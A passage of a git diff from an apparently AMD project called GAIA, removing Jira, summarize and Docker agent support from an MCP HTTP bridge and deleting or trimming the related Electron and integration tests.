except Exception as e: - logger.warning(f"Jira config discovery failed: {e}") - - agent = agent_config["instance"] - - # Execute query - result = agent.process_query(query, trace=False) - - return { - "success": True, - "result": result.get("final_answer", ""), - "steps_taken": result.get("steps_taken", 0), - "conversation": result.get("conversation", []), - } - def _execute_query(self, args: Dict[str, Any]) -> Dict[str, Any]: """Execute LLM query.""" if not self.llm_client: @@ -376,115 +194,6 @@ def _execute_chat(self, args: Dict[str, Any]) -> Dict[str, Any]: logger.error(f"Chat execution error: {e}") return {"success": False, "error": str(e)} - def _execute_blender(self, _args: Dict[str, Any]) -> Dict[str, Any]: - """Execute Blender operations.""" - # Implementation would go here - return {"success": True, "result": "Blender operation completed"} - - def _execute_summarize(self, args: Dict[str, Any]) -> Dict[str, Any]: - """Execute summarize operations. - Returns either a non-streaming result or streaming iterator metadata. - """ - collector = args.get("multipart_collector") - if not collector: - return {"success": False, "error": "Missing multipart_collector"} - - file_rec = collector.files.get("file") - style_bytes = collector.fields.get("style") or b"brief" - stream_val = collector.fields.get("stream") - accept_sse = bool(args.get("accept_sse")) - - # Normalize flags - try: - style = ( - style_bytes.decode("utf-8", errors="ignore") - if isinstance(style_bytes, (bytes, bytearray)) - else str(style_bytes) - ) - except Exception: - style = "brief" - try: - stream = str( - ( - stream_val.decode("utf-8") - if isinstance(stream_val, (bytes, bytearray)) - else stream_val - ) - or "" - ).lower() in ["1", "true", "yes"] - except Exception: - stream = False - # Honor Accept: text/event-stream if not explicitly set by field - if not stream and accept_sse: - stream = True - - if not file_rec: - return {"success": False, "error": "No file uploaded"} - - # Save file to temp - filename = file_rec.get("file_name") - ext = os.path.splitext(filename)[1] if filename else ".pdf" - tmpfile_path = None - try: - with tempfile.NamedTemporaryFile( - delete=False, suffix=ext or ".pdf" - ) as tmpfile: - buf = file_rec.get("file_object") - buf.seek(0) - shutil.copyfileobj(buf, tmpfile) - tmpfile_path = tmpfile.name - - # Initialize agent - agent_config = self.agents.get("summarize") - if not agent_config: - return {"success": False, "error": "Summarize agent not available"} - if "instance" not in agent_config: - agent_class = agent_config["class"] - init_params = agent_config.get("init_params", {}) - agent_config["instance"] = agent_class(**init_params) - agent = agent_config["instance"] - - # Validate style early to provide clear error message - try: - agent._validate_styles(style) # pylint: disable=protected-access - except ValueError as e: - return {"success": False, "error": str(e)} - - if stream: - content = agent.get_summary_content_from_file(Path(tmpfile_path)) - if not content: - return { - "success": False, - "error": "No extractable text found in uploaded file", - } - iterator = agent.summarize_stream( - content, input_type="pdf", style=style - ) - # Return tmpfile_path for cleanup after streaming completes - return { - "success": True, - "stream": True, - "style": style, - "tmpfile_path": tmpfile_path, - "iterator": iterator, - } - else: - result = agent.summarize_file(tmpfile_path, styles=[style]) - return { - "success": True, - "stream": False, - "style": style, - "result": result, - } - finally: - # Clean up temp file for non-streaming responses or on error - # For streaming responses, cleanup happens in the HTTP handler after streaming completes - if tmpfile_path and not stream and os.path.exists(tmpfile_path): - try: - os.unlink(tmpfile_path) - except Exception as e: - logger.warning(f"Failed to cleanup temp file {tmpfile_path}: {e}") - class MCPHTTPHandler(BaseHTTPRequestHandler): """HTTP handler for MCP protocol.""" @@ -616,7 +325,6 @@ def do_GET(self): "status": "GET /status - Detailed status (this endpoint)", "tools": "GET /tools - List available tools", "chat": "POST /chat - Interactive chat", - "jira": "POST /jira - Jira operations", "llm": "POST /llm - Direct LLM queries", "jsonrpc": "POST / - JSON-RPC endpoint", }, @@ -646,24 +354,6 @@ def do_POST(self): logger.error("Invalid JSON in request body") self.send_json(400, {"error": "Invalid JSON"}) return - elif ctype.startswith("multipart/form-data"): - raw_data = self.rfile.read(content_length) - - # Extract boundary using python-multipart helper and ensure bytes - _, opts = parse_options_header(ctype) - boundary = opts.get(b"boundary") - if not boundary: - raise ValueError("Missing multipart boundary") - - # boundary is bytes from parse_options_header; encode to UTF-8 for parser - boundary_bytes = boundary.decode("latin-1").strip('"').encode("utf-8") - - collector = MultipartCollector() - mp = MultipartParser(boundary_bytes, callbacks=collector.callbacks()) - mp.write(raw_data) - mp.finalize() - data = {} - data["multipart_collector"] = collector else: data = {} self.log_request_details("POST", self.path) @@ -676,32 +366,10 @@ def do_POST(self): # Direct chat endpoint for conversations result = self.bridge.execute_tool("gaia.chat", data) self.send_json(200 if result.get("success") else 500, result) - elif parsed.path == "/jira": - # Direct Jira endpoint for convenience - result = self.bridge.execute_tool("gaia.jira", data) - self.send_json(200 if result.get("success") else 500, result) elif parsed.path == "/llm": # Direct LLM endpoint (no conversation context) result = self.bridge.execute_tool("gaia.query", data) self.send_json(200 if result.get("success") else 500, result) - elif parsed.path == "/summarize": - # Direct Summarize endpoint accept multipart/form-data (file upload) for browser clients - accept_header = self.headers.get("Accept", "") - if isinstance(data, dict): - data["accept_sse"] = "text/event-stream" in accept_header - result = self.bridge.execute_tool("gaia.summarize", data) - if result.get("success") and result.get("stream"): - self.send_sse_headers() - try: - self.stream_sse(result.get("iterator", [])) - finally: - tmp = result.get("tmpfile_path") - if tmp and os.path.exists(tmp): - os.unlink(tmp) - return - else: - self.send_json(200 if result.get("success") else 500, result) - return else: self.send_json(404, {"error": "Not found"}) @@ -774,28 +442,6 @@ def do_OPTIONS(self): self.send_header("Access-Control-Allow-Headers", "Authorization, Content-Type") self.end_headers() - def send_sse_headers(self): - """Send standard headers for Server-Sent Events.""" - self.send_response(200) - self.send_header("Content-Type", "text/event-stream") - self.send_header("Cache-Control", "no-cache") - self.send_header("Access-Control-Allow-Origin", "*") - self.send_header("Connection", "keep-alive") - self.send_header("X-Accel-Buffering", "no") - self.end_headers() - - def stream_sse(self, iterator): - """Stream SSE data from an iterator of chunk dicts.""" - for chunk in iterator: - if chunk.get("is_complete"): - data_out = json.dumps( - {"event": "complete", "performance": chunk.get("performance", {})} - ) - else: - data_out = json.dumps({"text": chunk.get("text", "")}) - self.wfile.write(f"data: {data_out}\n\n".encode("utf-8")) - self.wfile.flush() - def send_json(self, status, data): """Send JSON response.""" if VERBOSE: @@ -902,15 +548,11 @@ def handler(*args, **kwargs): print(f" GET http://{host}:{port}/tools - List tools") print(f" POST http://{host}:{port}/ - JSON-RPC") print(f" POST http://{host}:{port}/chat - Chat (with context)") - print(f" POST http://{host}:{port}/jira - Direct Jira") print(f" POST http://{host}:{port}/llm - Direct LLM (no context)") print("\n🔧 Usage Examples:") print( ' Chat: curl -X POST http://localhost:8765/chat -d \'{"query":"Hello GAIA!"}\'' ) - print( - ' Jira: curl -X POST http://localhost:8765/jira -d \'{"query":"show my issues"}\'' - ) print(' n8n: HTTP Request → POST /chat → {"query": "..."}') print(" MCP: JSON-RPC to / with method: tools/call") print("=" * 60) diff --git a/src/gaia/mcp/servers/docker_mcp.py b/src/gaia/mcp/servers/docker_mcp.py deleted file mode 100644 index 859fe2dab..000000000 --- a/src/gaia/mcp/servers/docker_mcp.py +++ /dev/null @@ -1,92 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -""" -Docker MCP Server Launcher -Starts an MCP server for the Docker agent -""" - -from gaia.agents.install_hints import agent_not_installed_message -from gaia.mcp.agent_mcp_server import MCP_DEFAULT_HOST, MCP_DEFAULT_PORT, AgentMCPServer - - -def start_docker_mcp( - port: int = None, - host: str = None, - verbose: bool = False, - model_id: str = None, - silent_mode: bool = True, -): - """ - Start the Docker MCP server. - - Args: - port: Port to listen on (default: 8080) - host: Host to bind to (default: localhost) - verbose: Enable verbose logging - model_id: LLM model ID to use - silent_mode: Suppress agent console output (default: True for MCP) - """ - try: - from gaia_agent_docker.agent import DockerAgent - except ImportError as e: - raise ImportError( - agent_not_installed_message( - "The docker agent is not installed", "gaia-agent-docker" - ) - ) from e - - # Prepare agent parameters - agent_params = { - "silent_mode": silent_mode, - } - - if model_id: - agent_params["model_id"] = model_id - - # Create and start MCP server - server = AgentMCPServer( - agent_class=DockerAgent, - name="GAIA Docker MCP", - port=port or MCP_DEFAULT_PORT, - host=host or MCP_DEFAULT_HOST, - verbose=verbose, - agent_params=agent_params, - ) - - server.start() - - -if __name__ == "__main__": - import argparse - - parser = argparse.ArgumentParser(description="GAIA Docker MCP Server") - parser.add_argument( - "--port", - type=int, - default=MCP_DEFAULT_PORT, - help=f"Port to listen on (default: {MCP_DEFAULT_PORT})", - ) - parser.add_argument( - "--host", - default=MCP_DEFAULT_HOST, - help=f"Host to bind to (default: {MCP_DEFAULT_HOST})", - ) - parser.add_argument( - "--verbose", - action="store_true", - help="Enable verbose logging", - ) - parser.add_argument( - "--model-id", - help="LLM model ID to use (default: Gemma-4-E4B-it-GGUF)", - ) - - args = parser.parse_args() - - start_docker_mcp( - port=args.port, - host=args.host, - verbose=args.verbose, - model_id=args.model_id, - ) diff --git a/tests/electron/README.md b/tests/electron/README.md index 12ea954a6..3b2e60c83 100644 --- a/tests/electron/README.md +++ b/tests/electron/README.md @@ -6,7 +6,7 @@ This directory contains automated tests for GAIA Electron applications that vali The test suite validates multiple aspects to catch breakage from Dependabot updates: -### Structure Tests (`test_jira_app.js`, `test_example_app.js`) +### Structure Tests (`test_electron_example_app.js`) - **App Configuration**: Validates app.config.json and package.json files - **App Structure**: Ensures required files and directories exist - **Dependencies**: Verifies all required dependencies are present @@ -47,7 +47,6 @@ tests/electron/ ├── setup.js # Jest configuration and global test utilities ├── mocks/ │ └── electron.js # Mock Electron APIs (for future unit tests) -├── test_jira_app.js # Jira app structure tests (18 tests) ├── test_example_app.js # Example app structure tests (11 tests) └── test_functional.js # Functional validation tests (11 tests) ``` @@ -85,10 +84,7 @@ npm run test:watch ```bash # Run specific test file -npm test -- test_jira_app.js - -# Run both app tests -npm test -- test_jira_app.js test_example_app.js +npm test -- test_electron_example_app.js ``` ## GitHub Actions Integration @@ -211,7 +207,7 @@ Add to `.vscode/launch.json`: Tests run automatically when Dependabot creates PRs for: - Electron framework dependencies (`src/gaia/electron/package.json`) -- App dependencies (e.g., `src/gaia/apps/jira/webui/package.json`) +- App dependencies (e.g., `src/gaia/apps/example/webui/package.json`) If tests pass, PRs can be automatically merged (requires workflow configuration). diff --git a/tests/electron/test_electron_emr_dashboard.js b/tests/electron/test_electron_emr_dashboard.js deleted file mode 100644 index 56c3d1fb7..000000000 --- a/tests/electron/test_electron_emr_dashboard.js +++ /dev/null @@ -1,124 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -/** - * Integration tests for EMR Dashboard Electron wrapper - * Tests app structure, configuration, and Electron compatibility - */ - -const path = require('path'); -const fs = require('fs'); - -describe('EMR Dashboard Integration', () => { - const emrAppPath = path.join(__dirname, '../../hub/agents/emr/python/gaia_agent_emr/dashboard/electron'); - - describe('app configuration', () => { - it('should have valid package.json', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - expect(fs.existsSync(packagePath)).toBe(true); - - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - expect(pkg).toHaveProperty('name'); - expect(pkg).toHaveProperty('version'); - expect(pkg).toHaveProperty('main'); - expect(pkg.name).toBe('emr-dashboard-electron'); - }); - - it('should have required dependencies', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - // EMR Dashboard uses electron as a direct dependency - expect(pkg.dependencies).toHaveProperty('electron'); - }); - - it('should have start script', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - expect(pkg.scripts).toHaveProperty('start'); - expect(pkg.scripts.start).toContain('electron'); - }); - }); - - describe('app structure', () => { - it('should have main entry point', () => { - const mainPath = path.join(emrAppPath, 'main.js'); - expect(fs.existsSync(mainPath)).toBe(true); - }); - - it('should have valid main.js content', () => { - const mainPath = path.join(emrAppPath, 'main.js'); - const content = fs.readFileSync(mainPath, 'utf8'); - - // Check for required Electron imports - expect(content).toContain('app'); - expect(content).toContain('BrowserWindow'); - - // Check for proper security settings - expect(content).toContain('contextIsolation'); - expect(content).toContain('nodeIntegration'); - }); - - it('should have AMD logo asset', () => { - const logoPath = path.join(emrAppPath, 'amd.png'); - expect(fs.existsSync(logoPath)).toBe(true); - }); - }); - - describe('security configuration', () => { - it('should disable node integration in renderer', () => { - const mainPath = path.join(emrAppPath, 'main.js'); - const content = fs.readFileSync(mainPath, 'utf8'); - - // Node integration should be false for security - expect(content).toMatch(/nodeIntegration:\s*false/); - }); - - it('should enable context isolation', () => { - const mainPath = path.join(emrAppPath, 'main.js'); - const content = fs.readFileSync(mainPath, 'utf8'); - - // Context isolation should be true for security - expect(content).toMatch(/contextIsolation:\s*true/); - }); - }); - - describe('dependency versions', () => { - it('should use valid Electron version format', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const electronVersion = pkg.dependencies.electron; - expect(electronVersion).toMatch(/^\^?\d+\.\d+\.\d+$/); - }); - - it('should use Electron 35+ (latest stable)', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const electronVersion = pkg.dependencies.electron; - const majorVersion = parseInt(electronVersion.match(/(\d+)/)[1]); - - // EMR Dashboard should use Electron 35+ for latest features - expect(majorVersion).toBeGreaterThanOrEqual(35); - }); - }); - - describe('npm scripts', () => { - it('should have start script for development', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - expect(pkg.scripts.start).toBeDefined(); - }); - - it('should have start:dev script for development mode', () => { - const packagePath = path.join(emrAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - expect(pkg.scripts['start:dev']).toBeDefined(); - expect(pkg.scripts['start:dev']).toContain('development'); - }); - }); -}); diff --git a/tests/electron/test_electron_framework_integration.js b/tests/electron/test_electron_framework_integration.js index e6c2a2f49..9c3ef1c9b 100644 --- a/tests/electron/test_electron_framework_integration.js +++ b/tests/electron/test_electron_framework_integration.js @@ -45,7 +45,6 @@ const MIN_FORGE_VERSION = 7; // Paths to framework and apps const FRAMEWORK_PATH = path.join(__dirname, '../../src/gaia/electron'); const EXAMPLE_APP_PATH = path.join(__dirname, '../../src/gaia/apps/example/webui'); -const JIRA_APP_PATH = path.join(__dirname, '../../src/gaia/apps/jira/webui'); describe('Electron Framework Integration', () => { describe('Framework Core Validation', () => { @@ -107,8 +106,7 @@ describe('Electron Framework Integration', () => { describe('App Structure Compliance', () => { const apps = [ - { name: 'example', path: EXAMPLE_APP_PATH }, - { name: 'jira', path: JIRA_APP_PATH } + { name: 'example', path: EXAMPLE_APP_PATH } ]; apps.forEach(({ name, path: appPath }) => { @@ -341,24 +339,18 @@ contextBridge.exposeInMainWorld('testAPI', { const examplePkg = JSON.parse( fs.readFileSync(path.join(EXAMPLE_APP_PATH, 'package.json'), 'utf8') ); - const jiraPkg = JSON.parse( - fs.readFileSync(path.join(JIRA_APP_PATH, 'package.json'), 'utf8') - ); const frameworkVersion = frameworkPkg.devDependencies.electron; const exampleVersion = examplePkg.devDependencies.electron; - const jiraVersion = jiraPkg.devDependencies.electron; // Extract major versions const getMajor = (v) => parseInt(v.replace(/[\^~]/, '').split('.')[0]); const frameworkMajor = getMajor(frameworkVersion); const exampleMajor = getMajor(exampleVersion); - const jiraMajor = getMajor(jiraVersion); // All should be on the same major version expect(exampleMajor).toBe(frameworkMajor); - expect(jiraMajor).toBe(frameworkMajor); }); it(`should use electron >= ${MIN_ELECTRON_VERSION} for security features`, () => { @@ -375,12 +367,12 @@ contextBridge.exposeInMainWorld('testAPI', { it(`should have compatible electron-forge version (>=${MIN_FORGE_VERSION}) if present`, () => { // Check if apps using forge have compatible versions - const jiraPkg = JSON.parse( - fs.readFileSync(path.join(JIRA_APP_PATH, 'package.json'), 'utf8') + const examplePkg = JSON.parse( + fs.readFileSync(path.join(EXAMPLE_APP_PATH, 'package.json'), 'utf8') ); - if (jiraPkg.devDependencies['@electron-forge/cli']) { - const forgeVersion = jiraPkg.devDependencies['@electron-forge/cli']; + if (examplePkg.devDependencies['@electron-forge/cli']) { + const forgeVersion = examplePkg.devDependencies['@electron-forge/cli']; const forgeMajor = parseInt(forgeVersion.replace(/[\^~]/, '').split('.')[0]); // See MIN_FORGE_VERSION constant for version requirements documentation @@ -391,8 +383,7 @@ contextBridge.exposeInMainWorld('testAPI', { describe('Security Configuration Validation', () => { const apps = [ - { name: 'example', path: EXAMPLE_APP_PATH }, - { name: 'jira', path: JIRA_APP_PATH } + { name: 'example', path: EXAMPLE_APP_PATH } ]; apps.forEach(({ name, path: appPath }) => { diff --git a/tests/electron/test_electron_functional.js b/tests/electron/test_electron_functional.js index f2ee5ec9b..c31cad79e 100644 --- a/tests/electron/test_electron_functional.js +++ b/tests/electron/test_electron_functional.js @@ -7,74 +7,10 @@ * This catches real breakage from dependency updates that structure tests miss */ -const { execSync } = require('child_process'); const path = require('path'); const fs = require('fs'); describe('Electron Apps Functional Validation', () => { - describe('Jira App', () => { - const appPath = path.join(__dirname, '../../src/gaia/apps/jira/webui'); - - it('should have installable package.json', () => { - const packagePath = path.join(appPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - // Verify all dependencies are properly formatted - expect(pkg.dependencies).toBeDefined(); - expect(pkg.devDependencies).toBeDefined(); - - // Check for malformed version strings - Object.entries(pkg.dependencies || {}).forEach(([name, version]) => { - expect(version).toMatch(/^[\^~]?\d+\.\d+\.\d+$/); - }); - - Object.entries(pkg.devDependencies || {}).forEach(([name, version]) => { - expect(version).toMatch(/^[\^~]?\d+\.\d+\.\d+$/); - }); - }); - - it('should have valid main entry point', () => { - const packagePath = path.join(appPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const mainPath = path.join(appPath, pkg.main); - expect(fs.existsSync(mainPath)).toBe(true); - - // Verify the main file has no obvious syntax errors - const content = fs.readFileSync(mainPath, 'utf8'); - expect(content).toContain('require'); - expect(content.length).toBeGreaterThan(100); - }); - - it('should have valid forge configuration', () => { - const forgeConfigPath = path.join(appPath, 'forge.config.js'); - if (fs.existsSync(forgeConfigPath)) { - // Verify it can be loaded - const config = require(forgeConfigPath); - expect(config).toBeDefined(); - expect(config.packagerConfig).toBeDefined(); - } - }); - - it('should have consistent electron versions', () => { - const packagePath = path.join(appPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const frameworkPackagePath = path.join(__dirname, '../../src/gaia/electron/package.json'); - const frameworkPkg = JSON.parse(fs.readFileSync(frameworkPackagePath, 'utf8')); - - // Both should have electron as devDependency - expect(pkg.devDependencies.electron).toBeDefined(); - expect(frameworkPkg.devDependencies.electron).toBeDefined(); - - // Versions should be compatible (both should use ^31 or similar) - const appElectronMajor = pkg.devDependencies.electron.match(/(\d+)/)[1]; - const frameworkElectronMajor = frameworkPkg.devDependencies.electron.match(/(\d+)/)[1]; - - expect(appElectronMajor).toBe(frameworkElectronMajor); - }); - }); - describe('Example App', () => { const appPath = path.join(__dirname, '../../src/gaia/apps/example/webui'); diff --git a/tests/electron/test_electron_jira_app.js b/tests/electron/test_electron_jira_app.js deleted file mode 100644 index e429ceb2a..000000000 --- a/tests/electron/test_electron_jira_app.js +++ /dev/null @@ -1,149 +0,0 @@ -// Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -// SPDX-License-Identifier: MIT - -/** - * Integration tests for Jira App - * Tests app initialization, configuration loading, and MCP integration - */ - -const path = require('path'); -const fs = require('fs'); - -describe('Jira App Integration', () => { - const jiraAppPath = path.join(__dirname, '../../src/gaia/apps/jira/webui'); - - describe('app configuration', () => { - it('should have valid app.config.json', () => { - const configPath = path.join(jiraAppPath, 'app.config.json'); - expect(fs.existsSync(configPath)).toBe(true); - - const config = JSON.parse(fs.readFileSync(configPath, 'utf8')); - expect(config).toHaveProperty('name'); - expect(config).toHaveProperty('displayName'); - expect(config).toHaveProperty('version'); - }); - - it('should have valid package.json', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - expect(fs.existsSync(packagePath)).toBe(true); - - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - expect(pkg).toHaveProperty('name'); - expect(pkg).toHaveProperty('version'); - expect(pkg).toHaveProperty('scripts'); - expect(pkg.scripts).toHaveProperty('start'); - }); - - it('should have required dependencies', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - // Check for critical dependencies - expect(pkg.dependencies).toHaveProperty('electron-squirrel-startup'); - expect(pkg.dependencies).toHaveProperty('dotenv'); - expect(pkg.devDependencies).toHaveProperty('electron'); - }); - }); - - describe('app structure', () => { - it('should have main entry point', () => { - const mainPath = path.join(jiraAppPath, 'src/main.js'); - expect(fs.existsSync(mainPath)).toBe(true); - }); - - it('should have app-controller', () => { - const controllerPath = path.join(jiraAppPath, 'src/app-controller.js'); - expect(fs.existsSync(controllerPath)).toBe(true); - }); - - it('should have preload script', () => { - const preloadPath = path.join(jiraAppPath, 'src/preload.js'); - expect(fs.existsSync(preloadPath)).toBe(true); - }); - - it('should have renderer directory', () => { - const rendererPath = path.join(jiraAppPath, 'src/renderer'); - expect(fs.existsSync(rendererPath)).toBe(true); - }); - - it('should have services directory', () => { - const servicesPath = path.join(jiraAppPath, 'src/services'); - expect(fs.existsSync(servicesPath)).toBe(true); - }); - }); - - describe('app services', () => { - it('should have app-services.js', () => { - const servicesPath = path.join(jiraAppPath, 'src/services/app-services.js'); - expect(fs.existsSync(servicesPath)).toBe(true); - }); - - it('should have window-manager.js', () => { - const windowManagerPath = path.join(jiraAppPath, 'src/services/window-manager.js'); - expect(fs.existsSync(windowManagerPath)).toBe(true); - }); - }); - - describe('renderer components', () => { - it('should have renderer.js', () => { - const rendererPath = path.join(jiraAppPath, 'src/renderer/renderer.js'); - expect(fs.existsSync(rendererPath)).toBe(true); - }); - - it('should have components directory', () => { - const componentsPath = path.join(jiraAppPath, 'src/renderer/components'); - expect(fs.existsSync(componentsPath)).toBe(true); - }); - }); - - describe('build configuration', () => { - it('should have forge.config.js', () => { - const forgeConfigPath = path.join(jiraAppPath, 'forge.config.js'); - expect(fs.existsSync(forgeConfigPath)).toBe(true); - }); - - it('should have valid forge configuration', () => { - const forgeConfigPath = path.join(jiraAppPath, 'forge.config.js'); - // Just verify it's loadable JavaScript - expect(() => require(forgeConfigPath)).not.toThrow(); - }); - }); - - describe('npm scripts', () => { - it('should have start script', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - expect(pkg.scripts.start).toBeDefined(); - }); - - it('should have package script', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - expect(pkg.scripts.package).toBeDefined(); - }); - - it('should have make script', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - expect(pkg.scripts.make).toBeDefined(); - }); - }); - - describe('dependency versions', () => { - it('should use compatible Electron version', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const electronVersion = pkg.devDependencies.electron; - expect(electronVersion).toMatch(/^\^?\d+\.\d+\.\d+$/); - }); - - it('should use compatible Electron Forge version', () => { - const packagePath = path.join(jiraAppPath, 'package.json'); - const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8')); - - const forgeCliVersion = pkg.devDependencies['@electron-forge/cli']; - expect(forgeCliVersion).toMatch(/^\^?\d+\.\d+\.\d+$/); - }); - }); -}); diff --git a/tests/integration/test_chat_ui_integration.py b/tests/integration/test_chat_ui_integration.py index e3412c0be..5e1e17a55 100644 --- a/tests/integration/test_chat_ui_integration.py +++ b/tests/integration/test_chat_ui_integration.py @@ -2237,79 +2237,3 @@ def _spy(agent_id, **kwargs): f"Issue #841: agent.model_id must reflect kwargs.setdefault value; " f"got {captured['agent_model_id']!r}" ) - - -# ── PR #1201 regression: get_mcp_status_report must not AttributeError ──────── - - -class TestSplitAgentsMcpStatusReport: - """Regression for the PR #1201 release blocker. - - BrowserAgent and AnalystAgent (PR #1070) inherit MCPClientMixin after - Agent in MRO and do not pre-set ``_mcp_manager``. ``Agent.__init__`` does - not chain ``super().__init__()``, so ``MCPClientMixin.__init__`` never - runs and ``_mcp_manager`` is undefined. The UI auto-calls - ``agent.get_mcp_status_report()`` on every chat send - (``src/gaia/ui/_chat_helpers.py:1644``) → ``AttributeError``. - - These tests prove the fix: ``/api/chat/send`` for the ``web`` and ``data`` - agent_types completes without surfacing the ``_mcp_manager`` AttributeError. - """ - - def _run_send(self, tmp_path, monkeypatch, agent_type: str): - # web/data ship as the gaia-agent-browser / gaia-agent-analyst wheels - # (#1102); skip when a framework-only env lacks the agent. - import pytest - - pytest.importorskip( - "gaia_agent_browser" if agent_type == "web" else "gaia_agent_analyst" - ) - # Redirect HOME so AnalystAgent's default ~/.gaia/scratchpad.db lands - # under tmp_path instead of polluting the developer's real home. - # Both patches are needed: Path.home() in registry.discover() reads - # the cached value while ScratchpadService's os.path.expanduser - # reads $HOME from the environment. - monkeypatch.setenv("HOME", str(tmp_path)) - with patch("gaia.agents.registry.Path.home", return_value=tmp_path): - app = create_app(db_path=":memory:") - - with TestClient(app) as client: - # Create a session typed to the split agent. - sess_resp = client.post( - "/api/sessions", - json={"title": "1201-test", "agent_type": agent_type}, - ) - assert sess_resp.status_code == 200, sess_resp.text - sid = sess_resp.json()["id"] - - with ( - patch("gaia.ui._chat_helpers._maybe_load_expected_model"), - patch( - "gaia.ui._chat_helpers._agent_registry", - app.state.agent_registry, - ), - ): - return client.post( - "/api/chat/send", - json={ - "session_id": sid, - "message": "hi", - "stream": False, - }, - ) - - def test_web_agent_does_not_raise_mcp_attribute_error(self, tmp_path, monkeypatch): - chat_resp = self._run_send(tmp_path, monkeypatch, "web") - assert chat_resp.status_code == 200, chat_resp.text - assert "_mcp_manager" not in chat_resp.text, ( - f"PR #1201: BrowserAgent surfaced _mcp_manager AttributeError " - f"through /api/chat/send:\n{chat_resp.text}" - ) - - def test_data_agent_does_not_raise_mcp_attribute_error(self, tmp_path, monkeypatch): - chat_resp = self._run_send(tmp_path, monkeypatch, "data") - assert chat_resp.status_code == 200, chat_resp.text - assert "_mcp_manager" not in chat_resp.text, ( - f"PR #1201: AnalystAgent surfaced _mcp_manager AttributeError " - f"through /api/chat/send:\n{chat_resp.text}" - ) diff --git a/tests/mcp/test_agent_mcp_server.py b/tests/mcp/test_agent_mcp_server.py index 445616468..ec14084ee 100644 --- a/tests/mcp/test_agent_mcp_server.py +++ b/tests/mcp/test_agent_mcp_server.py @@ -3,198 +3,26 @@ # SPDX-License-Identifier: MIT """ -Full Integration Tests for MCPAgent and AgentMCPServer +Tests for MCPAgent and AgentMCPServer. -NO MOCKS - Tests use real services: -- Real Docker CLI (build, run, cleanup) -- Real LLM orchestration via Lemonade -- Real FastMCP server initialization -- Real agent tool execution - -Requirements: -- Docker CLI installed (pre-installed on ubuntu/windows GitHub runners) -- Lemonade server running (started as fixture) - -CI: Runs on ubuntu-latest and windows-latest +Pure Python class testing - no external services (Docker/Lemonade/network) +needed. This file used to also cover a DockerAgent-backed integration suite +(real Docker CLI + real LLM orchestration), but DockerAgent was removed in +the agent-collapse (#1102-follow-on); those tests always skipped once the +gaia_agent_docker package was gone, so they were deleted rather than kept +as permanent no-ops. Usage: - # Run all tests pytest tests/mcp/test_agent_mcp_server.py -v - - # Run specific test class - pytest tests/mcp/test_agent_mcp_server.py::TestDockerAgentMCP -v - - # Run with output - pytest tests/mcp/test_agent_mcp_server.py -v -s """ -import json -import subprocess -import time -from pathlib import Path from typing import Any, Dict, List import pytest -import requests from gaia.agents.base.mcp_agent import MCPAgent from gaia.mcp.agent_mcp_server import AgentMCPServer -# Try importing agents - they may or may not exist -try: - from gaia_agent_docker.agent import DockerAgent - - HAS_DOCKER_AGENT = True -except ImportError: - HAS_DOCKER_AGENT = False - DockerAgent = None - -# CodeAgent does not implement MCP interface - no tests needed - - -# ============================================================================ -# HELPER FUNCTIONS -# ============================================================================ - - -def is_docker_available() -> bool: - """Check if Docker CLI is available""" - try: - result = subprocess.run( - ["docker", "--version"], capture_output=True, text=True, timeout=5 - ) - return result.returncode == 0 - except (FileNotFoundError, subprocess.TimeoutExpired): - return False - - -def cleanup_docker_resources(image_tags: List[str], container_names: List[str]): - """Cleanup Docker images and containers""" - # Stop and remove containers - for name in container_names: - try: - subprocess.run(["docker", "stop", name], capture_output=True, timeout=10) - subprocess.run(["docker", "rm", name], capture_output=True, timeout=10) - except subprocess.TimeoutExpired: - pass - - # Remove images - for tag in image_tags: - try: - subprocess.run( - ["docker", "rmi", tag, "-f"], capture_output=True, timeout=10 - ) - except subprocess.TimeoutExpired: - pass - - -# ============================================================================ -# FIXTURES -# ============================================================================ - - -@pytest.fixture(scope="session") -def docker_available(): - """Verify Docker is available for tests""" - if not is_docker_available(): - pytest.skip("Docker CLI not available") - return True - - -@pytest.fixture(scope="session") -def lemonade_server(): - """ - Wait for Lemonade server to be ready for LLM orchestration. - - Follows the pattern from test_chat_sdk.py - waits for server - with timeout, then skips if not available. - """ - server_url = "http://localhost:13305" - timeout = 30 # seconds - - print(f"\n⏳ Waiting for Lemonade server at {server_url}...") - - start_time = time.time() - while time.time() - start_time < timeout: - try: - response = requests.get(f"{server_url}/api/v1/health", timeout=5) - if response.status_code == 200: - health_data = response.json() - print(f"✅ Lemonade server is ready") 